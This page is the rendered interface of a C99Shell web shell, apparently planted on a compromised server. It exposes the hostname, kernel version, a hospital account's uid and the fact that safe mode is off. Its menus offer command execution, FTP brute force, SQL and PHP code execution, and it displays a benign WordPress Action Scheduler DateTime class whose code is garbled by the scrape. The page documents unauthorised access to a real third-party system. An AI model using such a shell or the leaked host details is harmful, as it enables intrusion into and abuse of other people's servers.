!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/action-scheduler/classes/   drwxr-xr-x
Free 293.33 GB of 429.69 GB (68.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ActionScheduler_DateTime.php (1.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * ActionScheduler DateTime class.
 *
 * This is a custom extension to DateTime that
 */
class ActionScheduler_DateTime extends DateTime {

    
/**
     * UTC offset.
     *
     * Only used when a timezone is not set. When a timezone string is
     * used, this will be set to 0.
     *
     * @var int
     */
    
protected $utcOffset 0;

    
/**
     * Get the unix timestamp of the current object.
     *
     * Missing in PHP 5.2 so just here so it can be supported consistently.
     *
     * @return int
     */
    
public function getTimestamp() {
        return 
method_exists'DateTime''getTimestamp' ) ? parent::getTimestamp() : $this->format'U' );
    }

    
/**
     * Set the UTC offset.
     *
     * This represents a fixed offset instead of a timezone setting.
     *
     * @param $offset
     */
    
public function setUtcOffset$offset ) {
        
$this->utcOffset intval$offset );
    }

    
/**
     * Returns the timezone offset.
     *
     * @return int
     * @link http://php.net/manual/en/datetime.getoffset.php
     */
    
public function getOffset() {
        return 
$this->utcOffset $this->utcOffset parent::getOffset();
    }

    
/**
     * Set the TimeZone associated with the DateTime
     *
     * @param DateTimeZone $timezone
     *
     * @return static
     * @link http://php.net/manual/en/datetime.settimezone.php
     */
    
public function setTimezone$timezone ) {
        
$this->utcOffset 0;
        
parent::setTimezone$timezone );

        return 
$this;
    }

    
/**
     * Get the timestamp with the WordPress timezone offset added or subtracted.
     *
     * @since  3.0.0
     * @return int
     */
    
public function getOffsetTimestamp() {
        return 
$this->getTimestamp() + $this->getOffset();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0039 ]--